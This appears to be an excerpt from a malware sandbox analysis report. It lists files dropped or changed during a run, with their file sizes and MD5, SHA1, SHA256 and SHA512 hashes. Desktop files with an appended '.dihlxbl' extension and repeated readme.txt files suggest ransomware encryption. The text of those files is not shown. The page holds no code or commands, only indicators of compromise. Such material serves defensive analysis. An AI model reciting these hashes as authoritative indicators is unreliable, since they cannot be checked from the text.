C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
e71c8443ae0bc2e282c73faead0a6dd3

SHA1
0c110c1b01e68edfacaeae64781a37b1995fa94b

SHA256
95b0a5acc5bf70d3abdfd091d0c9f9063aa4fde65bd34dbf16786082e1992e72

SHA512
b38458c7fa2825afb72794f374827403d5946b1132e136a0ce075dfd351277cf7d957c88dc8a1e4adc3bcae1fa8010dae3831e268e910d517691de24326391a6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
42354d5db89c9db45cee6272cb96c773

SHA1
5cb4fb75596f7030d39054d5500bbfcfa8300372

SHA256
45e213c7110da4312f0fb712e2ce9e2816711e5254491f6fc0a8954392f82e4e

SHA512
c338e34777642800986094dc5d8aa1a5086f49930972505841c5d6c713d6254abf55659b38a43d7534a5f156e897f5585f589a2f6afaee5ea1c95946d36c25d2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
653fbb2091ac05475a18bf11ea8e27da

SHA1
367ce601ac305631b0efba00d330d048081dfac0

SHA256
35006ab39d7e0d3a9de3086b7e45d4e71c6de6a9b8dc9221e59ff4e57d9ba855

SHA512
824500007f2afab05d4b8b4911a6920f36043cf8f98928ac1dcc2916519a4ae7d19846edfe35cfe01585651deda779e45689253a8083fb12cf367dddc0f4fb73

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ca5740a425d8f63d50cc2dd0ce2f74be

SHA1
a8c836d2991c5527ed8aa4fab7fc8792febec7e2

SHA256
3cff2d0c086285741a757ad3d2c050f88b5f265157d8dbc7faba3f5b3f869608

SHA512
7fc94eecbbc4ce4e132d89cae03437c4a3cca85af0aff86febaf2a61ebdb3f7316f3fc455111825b3beae438d16a728d6d79fd52d2c866e62f6e71ac709a6ab1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
483cbe59bfdf18328f3998024000951b

SHA1
3855fae72c51505b6974967b9dd6afa6f4047d85

SHA256
d85586984c6c3f7a4c14196b1012809e0a02fd3f0036bc84c60307a96ebe5421

SHA512
997aa00651565a695f4a9f88f5f4e3bd2c195a1482d3c000e85b3449547109fc3cc3879a211735e88a19e06046dca23f6b1e4a7af8f901ec025ed8a924d11c69

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b9aa45322ddd7cad32d9ee0fb6923093

SHA1
3cc8929a8115b8258037b4de7979b56d78a688a7

SHA256
53af2bc778239a083f4b3fd1fab51c8819d2bb74c2224e2095b0e04060bb7a6d

SHA512
86763bfad8738fbff21da8413b9dbd88beb758315977f50789df341fe16b12b3067a55a9be05e98eacbf9654814065eca80b6c488748592d02a36f254bb45e24

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
0573725df7bee1bdf8305c5c192018eb

SHA1
21f6f2a31b86a01512c5fce8c5bf8e65b9f2f4fe

SHA256
977b8e16c5a6ded8cc9550f854fa9745d33554ae015c49463ecdd6d3094c7ad5

SHA512
3be1828fc3a9cf598ac911bba6bfcab8bfcced01d9d5085c5abd1e8d0fcb205d9880b1d3a55bebff6f945649759578a3a257968ba810b21646a5bda20ef26003

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
e7762966190950cfb6550fc315e204dc

SHA1
9e61d0f73c8867f18f73523d9b07fa38283e602a

SHA256
965a15cec543cf7250e73d3f9e17696956773136bbe31ba3f8aa5a7f13aa4950

SHA512
fa60df003a04da52238d9a600899bbb387257ca236f451b4e687879023cdf35ceabd6f2771e8ef65ea78f0dd723f743c6ed3ee3301581be283a380f2f717dad0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QCNSQOTT\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab6329.tmp

Filesize
61KB

MD5
fc4666cbca561e864e7fdf883a9e6661

SHA1
2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

SHA256
10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

SHA512
c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar64B9.tmp

Filesize
161KB

MD5
be2bec6e8c5653136d3e72fe53c98aa3

SHA1
a8182d6db17c14671c3d5766c72e58d87c0810de

SHA256
1919aab2a820642490169bdc4e88bd1189e22f83e7498bf8ebdfb62ec7d843fd

SHA512
0d1424ccdf0d53faf3f4e13d534e12f22388648aa4c23edbc503801e3c96b7f73c7999b760b5bef4b5e9dd923dffe21a21889b1ce836dd428420bf0f4f5327ff

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\YSJW8N1G.txt

Filesize
604B

MD5
36de42684468f25279ae5871ba439df6

SHA1
dc2d0c25b598b50e147277662b42adde7e29fd15

SHA256
8764738def32bb341ee37e17e39b65ed48c0221bbfb7bc1c0c44ada4706190d3

SHA512
e8df7b51a5db8de59404f27280a497d512b0a730c330bb2701ad4f5e037b8a6374e0bcda58a0277de49aabdedabdc53ea1e41c2ee59f8feffe51d4866b406b17

Download Submit
C:\Users\Admin\Desktop\CopyBlock.tiff.dihlxbl

Filesize
333KB

MD5
d91b98aa115802103d1522a6642c953a

SHA1
7a7994ab097df948a7a49166598ee136f012b018

SHA256
f86f637b5c9ee258609131b5eff2531150a0292164a88925866b3010bac46afa

SHA512
cd2cd665d4d79a26efdaf5fd7b72cfb378b37c395bb21c8d74ec9ab868ad6bdc10e557dd4909f115caa64bfd19456e29d3977f5821b4a3dbd5b49904b3c9bf87

Download Submit
C:\Users\Admin\Desktop\ExitUnregister.mid.dihlxbl

Filesize
350KB

MD5
65145658f06d22bca45341ff867626fb

SHA1
8932413ecc44f45e42784638290f4f7150b0ebc9

SHA256
42a264698c3f899112cbe6d98388f03d41486445b988e9bf972f8cd119f010a0

SHA512
efa77f3c7304390ea3916d3249801b0490a13c529eb3aaae5c05aa4d5bcacdec38028d2d20eb2ed23b80884bd885f02821c2a2d1acf5c1caaf872a27a211078a

Download Submit
C:\Users\Admin\Desktop\MeasureSend.vsdx.dihlxbl

Filesize
483KB

MD5
14527e6b44c03144332ee1ae72b0419f

SHA1
5436bedc35b04bf8f628c8e815ea1929be1f5225

SHA256
71315d6bc7b847b4a49ea6745dc21ccf2c3da435092d8470618cf93786af9e6c

SHA512
842a64a74238f2e611ef87b5a6a98cd5268e1876e23343189bb1ae3882760355333914a34aa27420cc1a6b12058fa0e11886ec5e880c20b0b52e4cc16c2b6db8

Download Submit
C:\Users\Admin\Desktop\OutSend.gif.dihlxbl

Filesize
450KB

MD5
6753544f20bfa037ede736a93ec428d6

SHA1
05223b4c5d0ed03cc39c0297cd011dfbd812f6c9

SHA256
437fba43b155c22502c3df4e26c4fa122f4b2c9bd02e6e0b7d986225254be0a2

SHA512
284d317e63a00ca926a3a660156b3dbb369b640c669ef41846b20737d74a07641f1b04a28d7008cadf9457a9d7968530d197a8c58d69d45f987c8fa94202b855

Download Submit
C:\Users\Admin\Desktop\SkipImport.png.dihlxbl

Filesize
550KB

MD5
edb91fce0d42a259a14460e8b0d28b3c

SHA1
0e5c1f25fdf1889234f92f9edaad27fe7d05ba92

SHA256
99d99bf70fed5c526675edc8f07242a75c236f28795dce903ec6d3f5cfea8997

SHA512
ef38d3a3ace9537af8d59e6661b69916e36300b60a7e3295da34d287c2490c8dc14b75f31e41b6d18bc835b179af215f3e51c35d38f687bacad38fce1f265537

Download Submit
C:\Users\Admin\Desktop\SplitSync.xlsm.dihlxbl

Filesize
516KB

MD5
d69cba3e338bf7529bb6bbe985c43b9a

SHA1
bd7ba7bac374e14dac10eaef24cfe425be95b233

SHA256
d34ad8e9d1fe8b14f19ec863fabd63f082dfcf21b8e5cd726f7d2be7b33e2641

SHA512
e27edab868223eb2daf843bc79f1175346869968d8d93543f534cd637e3003313f62d5b50a62bbeace7221ca6b2759023529a81a845441d697e0cdfe40f9a54b

Download Submit
C:\Users\Admin\Desktop\UndoClear.wmv.dihlxbl

Filesize
233KB

MD5
67293e46d66282a4e2c73c4d6ef58071

SHA1
0c9f411a47f85f818a2bf67e71aaa6153aeb68c4

SHA256
7d65caf5cfa0af26249aee8ca158b0edd30ae1a6e99a354eb83c7a4204b3ae66

SHA512
f878dc6a2498fb1ea0d2e89cb27bc469c732e99385b5cedecc5bd43561bb3d40ce54830835dd4df4ade6f00c68349570e3274c1e192ef44688cf331c55b373c8

Download Submit
C:\Users\Admin\Desktop\UndoRead.php.dihlxbl

Filesize
433KB

MD5
7fb1d1033719c257861b8d36788a4d24

SHA1
3295b8d1901ca7f1d5cf60b72a7f82bf6aa680fc

SHA256
7d9c8604d8fb0b4aa3619c039231c2911a05f27a80c2e681194901d67cb8f678

SHA512
0b19978e50e854a85f5418a29cb7a957223b2888ec10a90686942ed68131c6e1fb6588beec430427617076a977b1d2a6fc1f93628836007722c61ee106feb4d2

Download Submit
C:\Users\Admin\Desktop\readme.txt

Filesize
1KB

MD5
872392e656e3dcde0c93f00b71686063

SHA1
25474a73b2bb7eeb86176d976942bc2e71719d7f

SHA256
9ba565b7f5cd791590bf11827b00c8ee461f60795e35868e9cb9ed36841a4ca4

SHA512
000c5b819845eb143e2f36a5ce8314529853e35875f928d17b4f530b474c83ec5df5186bff56be9089ca5a45658fcd46b638d2e73d6259a890227955b1449541

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
872392e656e3dcde0c93f00b71686063

SHA1
25474a73b2bb7eeb86176d976942bc2e71719d7f

SHA256
9ba565b7f5cd791590bf11827b00c8ee461f60795e35868e9cb9ed36841a4ca4

SHA512
000c5b819845eb143e2f36a5ce8314529853e35875f928d17b4f530b474c83ec5df5186bff56be9089ca5a45658fcd46b638d2e73d6259a890227955b1449541

Download Submit
C:\Users\Public\readme.txt

Filesize
1KB

MD5
872392e656e3dcde0c93f00b71686063

SHA1
25474a73b2bb7eeb86176d976942bc2e71719d7f

SHA256
9ba565b7f5cd791590bf11827b00c8ee461f60795e35868e9cb9ed36841a4ca4

SHA512
000c5b819845eb143e2f36a5ce8314529853e35875f928d17b4f530b474c83ec5df5186bff56be9089ca5a45658fcd46b638d2e73d6259a890227955b1449541

Download Submit
memory/1108-54-0x0000000001BC0000-0x0000000001BC4000-memory.dmp

Filesize
16KB

Download
memory/2044-288-0x0000000001C20000-0x0000000001C21000-memory.dmp

Filesize
4KB

Download
memory/2044-292-0x0000000002050000-0x0000000002054000-memory.dmp

Filesize
16KB

Download
memory/2044-289-0x0000000001C30000-0x0000000001C31000-memory.dmp

Filesize
4KB

Download
memory/2044-326-0x0000000001CF0000-0x0000000001CF1000-memory.dmp

Filesize
4KB

Download
memory/2044-286-0x0000000001C00000-0x0000000001C01000-memory.dmp

Filesize
4KB

Download
memory/2044-287-0x0000000001C10000-0x0000000001C11000-memory.dmp

Filesize
4KB

Download
memory/2044-285-0x00000000000B0000-0x00000000000B1000-memory.dmp

Filesize
4KB

Download
memory/2044-284-0x0000000000090000-0x0000000000091000-memory.dmp

Filesize
4KB

Download
memory/2044-290-0x0000000001C40000-0x0000000001C41000-memory.dmp

Filesize
4KB

Download
memory/2044-291-0x0000000001CF0000-0x0000000001CF1000-memory.dmp

Filesize
4KB

Download